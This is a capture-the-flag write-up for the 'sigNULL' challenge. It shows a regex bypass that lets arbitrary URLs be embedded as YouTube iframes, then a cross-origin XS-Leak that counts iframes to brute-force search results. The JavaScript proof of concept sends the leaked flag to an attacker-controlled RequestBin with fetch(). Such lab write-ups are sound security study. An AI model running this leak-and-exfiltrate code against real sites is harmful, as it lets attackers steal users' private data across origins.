sigNULL

Description

problem description

Solution

We visit the attached website and are prompted to create a new account:

Once we create the account, we get a set of a private and public key:

Public Key: f2456c40-3cbf-4d48-ad3a-9c87969921ff

Private Key: 6e1b371a-66e0-43ff-8d0d-8a6910d21263

The interface we receive is:

Using Jeff's public key, we can send him a message:

After chatting for a while, we get a clue:

Well, he asked for it:

Jeff assures us that he will watch the video. Can we send him some other link?

Digging through the Javascript sources, this looks like a React application. We can find the following YouTube-related logic:

// ...
E = /^https?:\/\/[^.]+\.youtube\.com\/embed\//i;
// ...
t.preventDefault(), n && U ? ((a = U.toString()).startsWith("https://www.youtube.com/watch?v=") && (a = a.replace("watch?v=", "embed/"))
// ...

The regular expression seems flawed. We can bypass it by providing a prefix URL and appending the YouTube URL as a query string, as long as we encode the periods for the prefix URL as %2E.

>>> E = /^https?:\/\/[^.]+\.youtube\.com\/embed\//i;
/^https?:\/\/[^.]+\.youtube\.com\/embed\//i

>>> 'https://www.youtube.com/embed/'.match(E)
Array [ "https://www.youtube.com/embed/" ]

>>> 'https://www.evil.com?www.youtube.com/embed/'.match(E)
null

>>> 'https://www%2Eevil%2Ecom?www.youtube.com/embed/'.match(E)
Array [ "https://www%2Eevil%2Ecom?www.youtube.com/embed/" ]

Let's try sending a RequestBin and see if Jeff visits it:

https://enswwrsynfpwo%2Ex%2Epipedream%2Enet?www.youtube.com/embed/

As expected, we get a hit from a Headless Chrome setup:

host: enswwrsynfpwo.x.pipedream.net
x-amzn-trace-id: Root=1-6192b77d-6fd5156b49804c913fe03901
upgrade-insecure-requests: 1
user-agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/86.0.4240.111 Safari/537.36
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
sec-fetch-site: cross-site
sec-fetch-mode: navigate
sec-fetch-dest: iframe
referer: https://signull.chal.intentsummit.org/
accept-encoding: gzip, deflate, br
accept-language: en-US

Notice how sec-fetch-dest is iframe. This is because the URL gets loaded in an IFrame:

<div class="message-bubble"><iframe src="https://enswwrsynfpwo%2Ex%2Epipedream%2Enet?www.youtube.com/embed/"></iframe><time>just now</time></div>

What can we do with this? One thing we might want to do it somehow embed the messaging application itself into an IFrame, and see where we can go from there. However, that thought gets tossed early due to the following header:

┌──(user@kali)-[/media/sf_CTFs/intent/sigNULL]
└─$ curl -k -I -s https://signull.chal.intentsummit.org/ | grep frame
x-frame-options: DENY

We can point the iframe to any URL under our control, and run some Javascript code. However, due to Cross-origin policy, we won't be able to access anything interesting from the messaging application such as the history of the chats, the cookies, or the local storage (where the private key is stored in our case).

Let's backtrack and see what other capabilities exist in the site. Apart from messaging, the site contains a search capability:

When we search for a string such as "video", the query term is appended to the hash part of our own URL. So, if we search for video, the current URL becomes https://signull.chal.intentsummit.org/#video.

If the search term is found, the relevant chat is displayed. However, if it isn't, an iframe is displayed alerting that there were no results:

Why is all this important? Well, because it turns out it's possible to leak cross-domain information using metadata based on iframe counts. One of our team members figured it out during the CTF, and we later found a blog post by who if not Ron Masas, the challenge author.

How does it work? If an iframe is shown when there are no search results and no iframe is shown when there are results, then by counting the number of iframes we can understand if there were results or not. This is something that can happen cross-origin. And not only that, we can also change the hash of a window.location from a cross-origin context, allowing us to search for whatever we want.

Let's create a short PoC:

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>sigNULL</title>
  </head>
  <body>
    <script>
      const delay = ms => new Promise(res => setTimeout(res, ms));

      const get_num_iframes_for_search = async function(term) {
        const uri_prefix = "https://signull.chal.intentsummit.org#";
        window.parent.location = uri_prefix + encodeURIComponent(term);
        await delay(100);
        return window.parent.frames.length;
      }

      const run = async function() {
        const request_bin = "https://enswwrsynfpwo.x.pipedream.net/";

        for (const term of ["INTENT", "asdf"]) {
          const num_iframes = await get_num_iframes_for_search(term);
          fetch(`${request_bin}?term=${term}&num=${num_iframes}`);
        }
      }

      (async function() {
        await run();
      })();
    </script>
  </body>
</html>

Remember that this code will be embed into an iframe on Jeff's side. What we do here is use window.parent.location to change the hash of the iframe's parent (i.e. the messaging application) to two different values: INTENT and asdf. Each time, we wait a while and count the amount of iframes on the page. We then log the result to our RequestBin.

We send https://sigNULL%2Ejctf%2Erepl%2Eco?www.youtube.com/embed/ as a message and get two hits from the remote client:

/?term=INTENT&num=1
/?term=asdf&num=2

Exactly as we expected, for the term asdf we get two iframes - one is the from the message content and one is to inform that no results were found. For the INTENT query, we just get one iframe - the one from the message content.

Using this technique, we can brute force the flag one character at a time:

      const delay = ms => new Promise(res => setTimeout(res, ms));

      const get_num_iframes_for_search = async function(term) 
      {
        const uri_prefix = "https://signull.chal.intentsummit.org#";
        window.parent.location = uri_prefix + encodeURIComponent(term);
        await delay(100);
        return window.parent.frames.length;
      }

      const run = async function() 
      {
        const printable = "e3t7a@4o0i1!_ns5$hrdlcumwfg6ypbvkjxqz289\"#%&'()*+,-./:;<=>?[\\]^`{|}~";
        const base_num_iframes = window.parent.frames.length;
        const request_bin = "https://enswwrsynfpwo.x.pipedream.net/";
        let current_flag = "INTENT{";

        fetch(`${request_bin}?starting`);

        for(let counter = 0; counter < 30; counter++)
        {
          let found = false;
          for(c of printable)
          {
            const num_iframes = await get_num_iframes_for_search(current_flag + c);
            if(num_iframes == base_num_iframes)
            {
              found = true;
              current_flag += c;
              break;
            }
          }

          if ( (!found) || (current_flag[-1] == "}") )
          {
            break;
          }
        }

        fetch(`${request_bin}?flag=${btoa(current_flag)}`);

      }

      (async () => {
        await run();
      })();

We wait for the hit in our RequestBin and eventually get the flag:

/?flag=SU5URU5Ue2lfaGF2ZV9hX2NyYXNoX29uX2VsMG59

Decoded, the flag is:

┌──(user@kali)-[/media/sf_CTFs/intent/sigNULL]
└─$ echo SU5URU5Ue2lfaGF2ZV9hX2NyYXNoX29uX2VsMG59 | base64 -d
INTENT{i_have_a_crash_on_el0n}

Very cool challenge!